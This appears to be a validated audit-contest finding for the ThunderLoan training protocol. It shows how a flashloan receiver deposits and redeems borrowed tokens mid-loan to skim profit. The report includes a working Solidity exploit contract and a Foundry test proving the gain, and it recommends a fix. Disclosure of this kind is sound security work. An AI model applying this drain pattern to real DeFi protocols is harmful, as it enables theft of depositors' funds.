Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

flashloan receiver exploit manipulating exchangeRate for profit

Summary

The vulnerability in the flashloan receiver contract allows an attacker to exploit the deposit and redeem functions to manipulate the exchange rate and profit from the transaction.

Vulnerability Details

As the flashloan receiver contract, after receiving the amount of the underlying token, the receiver contract can call IThunderLoan(s_thunderLoan).deposit(token, amount); to mint the assetToken and updateExchangeRate. The exchange rate will increase, which means the assetToken will become more valuable.

After calling deposit, the receiver can soon call redeem. However, to be cautious, the receiver need to calculate the specific amount of assetToken to precisely withdraw all underlying tokens.

According to this equation: uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();, we can calculate that uint256 assetTokenAmount = amount * assetToken.EXCHANGE_RATE_PRECISION() / assetToken.getExchangeRate() + 1;

The receiver can redeem with an amount of assetTokenAmount to repay the underlying token and complete the flashloan. After the flashloan, the receiver can call redeem again to withdraw the remaining underlying tokens.

Flashloan Receiver Example:

function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata /* params */
)
external
returns (bool)
{
s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));
if (initiator != s_owner) {
revert MockFlashLoanReceiver__onlyOwner();
}
if (msg.sender != s_thunderLoan) {
revert MockFlashLoanReceiver__onlyThunderLoan();
}
// assetToken amount before deposit
uint256 beforeAssetAmount = IERC20(assetToken).balanceOf(address(this));
IERC20(token).approve(s_thunderLoan, amount);
// deposit all received tokens
IThunderLoan(s_thunderLoan).deposit(token, amount);
// calcuate precise assetToken amount to redeem
uint256 assetTokenAmount = amount * assetToken.EXCHANGE_RATE_PRECISION() / assetToken.getExchangeRate() + 1;
// calcuate exactly assetToken delta amount of receiver
uint256 afterAssetAmount = IERC20(assetToken).balanceOf(address(this));
uint256 deltaTokenAmount = afterAssetAmount - beforeAssetAmount;
// call redeem to withdraw underlying token
IThunderLoan(s_thunderLoan).redeem(token, assetTokenAmount);
IERC20(token).approve(s_thunderLoan, amount + fee);
// repay underlying token to complete flashloan
IThunderLoan(s_thunderLoan).repay(token, amount + fee);
s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this));
// record profit assetToken amount
profitAssetTokenAmount += deltaTokenAmount-assetTokenAmount;
return true;
}
function withdrawFunds() public{
// withdraw all profit
IThunderLoan(s_thunderLoan).redeem(underlyingToken, profitAssetTokenAmount);
profitAssetTokenAmount = 0;
}

Test code:

function testExploitFlashLoan() setAllowedToken hasDeposits public {
hackFlashLoanReceiver = new HackFlashLoanReceiver(address(thunderLoan), address(assetA), address(tokenA));
uint256 amountToBorrow = AMOUNT * 10;
uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
vm.startPrank(user);
tokenA.mint(address(hackFlashLoanReceiver), AMOUNT);
thunderLoan.flashloan(address(hackFlashLoanReceiver), tokenA, amountToBorrow, "");
vm.stopPrank();
assertEq(hackFlashLoanReceiver.getbalanceDuring(), amountToBorrow + AMOUNT);
assertEq(hackFlashLoanReceiver.getBalanceAfter(), AMOUNT - calculatedFee);
// assert profit
hackFlashLoanReceiver.withdrawFunds();
uint256 profit = tokenA.balanceOf(address(hackFlashLoanReceiver)) - (AMOUNT - calculatedFee);
assertGt(profit, 0);
}

Impact

By leveraging this vulnerability, an attacker could potentially manipulate the exchange rate in their favor and gain additional underlying tokens as profit.

Tools Used

Manual Review

Recommendations

Add s_currentlyFlashLoaning check to prevent calling deposit and redeem during flashloan

function redeem(
IERC20 token,
uint256 amountOfAssetToken
)
external
revertIfZero(amountOfAssetToken)
revertIfNotAllowedToken(token)
{
if (s_currentlyFlashLoaning[token]) {
revert ThunderLoan__CurrentlyFlashLoaning();
}
......
}
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
if (s_currentlyFlashLoaning[token]) {
revert ThunderLoan__CurrentlyFlashLoaning();
}
......
}
Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

can't redeem because of the update exchange rate

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.